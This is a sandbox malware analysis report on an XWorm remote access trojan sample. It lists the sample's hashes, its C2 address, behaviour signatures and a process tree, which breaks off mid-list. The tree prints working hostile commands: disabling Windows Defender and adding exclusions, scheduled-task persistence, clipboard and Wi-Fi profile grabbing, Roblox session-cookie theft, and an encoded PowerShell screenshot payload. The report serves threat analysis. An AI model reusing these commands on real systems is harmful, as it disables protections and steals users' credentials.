Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    435s
  • max time network
    1153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/11/2024, 02:32

General

  • Target

    sda.exe

  • Size

    7.6MB

  • MD5

    2f9007000a22245b8f2ca5328bda6559

  • SHA1

    f0e3a4e403d001059b5d028dbf2841f7e31a8d18

  • SHA256

    830a8850179510edc23d3f8f6a9d589c6e671165ec421761a28945bcee5a714b

  • SHA512

    65dcb282965b76f8cd6e9a5ce10b06a55ca2369ec72b7838a1e82fac4b193a7eb80cc0fd7c43c7b55e2ff6839e60771e578b393414f6ef516680277b63ffbeeb

  • SSDEEP

    196608:h1wuNAHvQxejeXNzFK5KS1f6CiyZr/XTy1mjVjFGmossw:hd0vQIjWNxK5i2/XTymGmJ

Malware Config

Extracted

Family

xworm

Version

3.1

C2

147.185.221.23:53631

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\sda.exe
    "C:\Users\Admin\AppData\Local\Temp\sda.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Users\Admin\AppData\Roaming\XClient.exe
      "C:\Users\Admin\AppData\Roaming\XClient.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6024
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3540
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"
        3⤵
          PID:4204
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE81E.tmp.bat""
          3⤵
            PID:6004
            • C:\Windows\system32\timeout.exe
              timeout 3
              4⤵
              • Delays execution with timeout.exe
              PID:4316
        • C:\Users\Admin\AppData\Roaming\Test.exe
          "C:\Users\Admin\AppData\Roaming\Test.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3224
          • C:\Users\Admin\AppData\Roaming\Test.exe
            "C:\Users\Admin\AppData\Roaming\Test.exe"
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1740
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Test.exe'"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:684
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Test.exe'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:944
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4912
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3208
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Runtime error', 0, 'Runtime error', 0+16);close()""
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1332
              • C:\Windows\system32\mshta.exe
                mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Runtime error', 0, 'Runtime error', 0+16);close()"
                5⤵
                  PID:3980
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2888
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4984
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4884
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5036
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2500
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  5⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3544
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                4⤵
                • Clipboard Data
                • Suspicious use of WriteProcessMemory
                PID:4776
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  5⤵
                  • Clipboard Data
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4532
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:5048
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4024
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1920
                • C:\Windows\system32\tree.com
                  tree /A /F
                  5⤵
                    PID:228
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                  4⤵
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2180
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show profile
                    5⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:3468
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "systeminfo"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4588
                  • C:\Windows\system32\systeminfo.exe
                    systeminfo
                    5⤵
                    • Gathers system information
                    PID:1536
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1972
                  • C:\Windows\system32\reg.exe
                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                    5⤵
                      PID:1752
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1888
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                      5⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3084
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jmrcogq0\jmrcogq0.cmdline"
                        6⤵
                          PID:5532
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EE2.tmp" "c:\Users\Admin\AppData\Local\Temp\jmrcogq0\CSCED7C3EEAF2F4ADB8333B7B3B88D034.TMP"
                            7⤵
                              PID:5776
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        4⤵
                          PID:4528
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            5⤵
                              PID:5164
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                            4⤵
                              PID:5156
                              • C:\Windows\system32\attrib.exe
                                attrib -r C:\Windows\System32\drivers\etc\hosts
                                5⤵
                                • Drops file in Drivers directory
                                • Views/modifies file attributes
                                PID:5288
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              4⤵
                                PID:5236
                                • C:\Windows\system32\tree.com
                                  tree /A /F
                                  5⤵
                                    PID:5328
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                  4⤵
                                    PID:5364
                                    • C:\Windows\system32\attrib.exe
                                      attrib +r C:\Windows\System32\drivers\etc\hosts
                                      5⤵
                                      • Drops file in Drivers directory
                                      • Views/modifies file attributes
                                      PID:5468
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    4⤵
                                      PID:5388
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        5⤵
                                          PID:5488
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                        4⤵
                                          PID:5508
                                          • C:\Windows\system32\tasklist.exe
                                            tasklist /FO LIST
                                            5⤵
                                            • Enumerates processes with tasklist
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5636
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          4⤵
                                            PID:5544
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              5⤵
                                                PID:5648
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              4⤵
                                                PID:5668
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  5⤵
                                                    PID:5732
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                  4⤵
                                                    PID:1004
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                      5⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:5184
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                    4⤵
                                                      PID:5260
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                        5⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4532
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "getmac"
                                                      4⤵
                                                        PID:5448
                                                        • C:\Windows\system32\getmac.exe
                                                          getmac
                                                          5⤵
                                                            PID:5544
                                                        • C:\Windows\system32\cmd.exe
